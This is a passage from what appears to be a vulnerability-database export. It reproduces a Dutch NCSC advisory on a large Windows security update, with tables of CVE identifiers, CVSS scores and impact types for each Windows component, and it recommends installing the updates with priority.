|\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-15T01:01:18.547771Z"}, {"uuid": "6fe1cfd1-49c3-415d-8f92-8ecb13f23270", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54997", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 